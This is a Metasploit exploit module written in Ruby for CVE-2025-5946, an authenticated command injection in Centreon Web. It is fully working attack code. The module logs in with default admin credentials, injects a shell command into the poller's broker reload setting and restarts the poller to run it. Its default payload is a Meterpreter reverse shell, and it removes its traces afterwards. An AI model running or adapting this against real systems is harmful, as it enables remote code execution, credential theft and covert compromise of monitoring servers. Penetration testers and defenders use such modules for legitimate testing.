## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Centreon authenticated command injection leading to RCE via broker engine "reload" parameter', 'Description' => %q{ Centreon is a platform designed to monitor your cloud and on-premises infrastructure. This module exploits an command injection vulnerability using the `broker engine reload` setting on the poller configuration page of the Centreon web application. Injecting a malcious payload at the `broker engine reload` parameter and restarting the poller triggers this vulnerability. You need have admin access at the Centreon Web application in order to execute this RCE. This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions `24.10.13`, `24.04.18` and `23.10.28`. }, 'Author' => [ 'h00die-gr3y ' # Discovery, Metasploit module & default password weakness ], 'References' => [ ['CVE', '2025-5946'], ['URL', 'https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104'], ['URL', 'https://attackerkb.com/topics/23D4cUoBZj/cve-2025-5946'] ], 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Privileged' => false, 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' }, 'Payload' => { 'Encoder' => 'cmd/base64', 'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' " } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-09-24', 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path to the Centreon application', '/centreon']), OptString.new('USERNAME', [true, 'Centreon web admin user', 'admin']), OptString.new('PASSWORD', [true, 'Centreon web admin password', 'Centreon!123']) ]) end # login at the Centreon web application # return true if login successful else false def centreon_login(name, pwd) # login with admin credentials # first try login logic in newer versions post_data = { login: name.to_s, password: pwd.to_s }.to_json res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'authentication', 'providers', 'configurations', 'local'), 'data' => post_data.to_s }) return true if res&.code == 200 && res.body.include?('redirect_uri') # try again using login logic for older versions # get centreon_token res = send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true }) # find the token: if res&.code == 200 && res.body.include?('centreon_token') centreon_token_match = res.body.match(%r{}) centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil? else vprint_status('No centreon_token found!') return false end # login with admin credentials and centreon_token if centreon_token vprint_status("centreon_token=#{centreon_token}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => true, 'vars_post' => { 'useralias' => name.to_s, 'password' => pwd.to_s, 'submitLogin' => 'Connect', 'centreon_token' => centreon_token.to_s } }) return true if res&.code == 302 else vprint_warning('Unable to process the centreon_token.') end false end # CVE-2025-5946: Command Injection leading to RCE via the centreon broker engine "reload" parameter triggered by a poller reload def execute_payload(cmd, _opts = {}) @clean_payload = true payload = ";#{cmd}" vprint_status("payload=#{payload}") # attach payload at the centreon broker engine "reload parameter fail_with(Failure::PayloadFailed, 'Dropping the payload at the target failed.') unless drop_rce_payload(payload) # trigger execution by restarting the poller send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'), 'keep_cookies' => true, 'vars_post' => { 'poller' => 1, 'mode' => 1 } }) end # attach payload at the centreon broker engine "reload" parameter and commit into the sql database def drop_rce_payload(payload) # get the poller configuration and centreon_token res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'main.get.php'), 'keep_cookies' => true, 'vars_get' => { 'p' => 60901, 'o' => 'c', 'server_id' => 1 } }) # find the token: if res&.code == 200 && res.body.include?('centreon_token') centreon_token_match = res.body.match(%r{}) centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil? else vprint_status('No centreon_token found!') return false end # update poller "centreon broker engine reload" setting with payload if centreon_token vprint_status("centreon_token=#{centreon_token}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main.get.php'), 'keep_cookies' => true, 'vars_get' => { 'p' => 60901 }, 'vars_post' => { 'name' => 'Central', 'ns_ip_address' => '127.0.0.1', 'localhost[localhost]' => 1, 'is_default[is_default]' => 1, 'gorgone_communication_type[gorgone_communication_type]' => 1, 'gorgone_port' => 5556, 'engine_start_command' => 'service centengine start', 'engine_stop_command' => 'service centengine stop', 'engine_restart_command' => 'service centengine restart', 'engine_reload_command' => 'service centengine reload', 'nagios_bin' => '/usr/sbin/centengine', 'nagiostats_bin' => '/usr/sbin/centenginestats', 'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata', 'broker_reload_command' => "service cbd reload#{payload}", 'centreonbroker_cfg_path' => '/etc/centreon-broker', 'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker', 'centreonbroker_logs_path' => nil, 'centreonconnector_path' => '/usr/lib64/centreon-connector', 'init_script_centreontrapd' => 'centreontrapd', 'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/', 'ns_activate[ns_activate]' => 1, 'submitC' => 'Save', 'id' => 1, 'o' => 'c', 'centreon_token' => centreon_token.to_s } }) if res&.code == 200 && res.body.include?('ajaxOption table') vprint_good('Poller setting "broker_reload_command" updated with payload.') return true end vprint_warning('Poller setting "broker_reload_command" is not updated with payload.') else vprint_warning('Unable to process the centreon_token.') end return false end # try to remove the payload from the poller settings to cover our tracks def cleanup super # check if payload should be cleaned if @clean_payload vprint_status('Cleaning up the mess...') if drop_rce_payload(nil) print_good('Payload has been successfully removed from the poller setting "broker_reload_command".') else print_warning('Payload not removed. Try to remove it manually from the poller setting "broker_reload_command".') end end end # get the Centreon version # return version if successful else nil def get_centreon_version # get version information use Web API v2.0 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'platform', 'versions'), 'keep_cookies' => true }) # for older versions try to scrape the version from the login web page unless res&.code == 200 && res.body.include?('web') res = send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true }) return nil unless res&.code == 200 build = res.body.match(/v\.\s*\d+\.\d+\.\d+/) return nil if build.nil? return build[0].gsub(/[[:space:]]/, '').split('v.')[1] end res_json = res.get_json_document res_json['web']['version'] unless res_json.blank? end def check version = get_centreon_version return CheckCode::Unknown('Can not determine the Centreon version.') if version.nil? case version.scan(/^\d+\.\d+/)[0] when '24.10' return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.10.13') when '24.04' return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.04.18') when '23.10' return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('23.10.28') else return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) >= Rex::Version.new('19.10.0') end CheckCode::Safe("Centreon version #{version}") end def exploit # check if we can login at the Centreon Web application with the default admin credentials username = datastore['USERNAME'] password = datastore['PASSWORD'] print_status("Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.") fail_with(Failure::NoAccess, 'Failed to authenticate at the Centreon Web application.') unless centreon_login(username, password) print_status('Succesfully authenticated at the Centreon Web application.') # storing credentials at the msf database print_status('Saving admin credentials at the msf database.') store_valid_credential(user: username, private: password) print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") execute_payload(payload.encoded) end end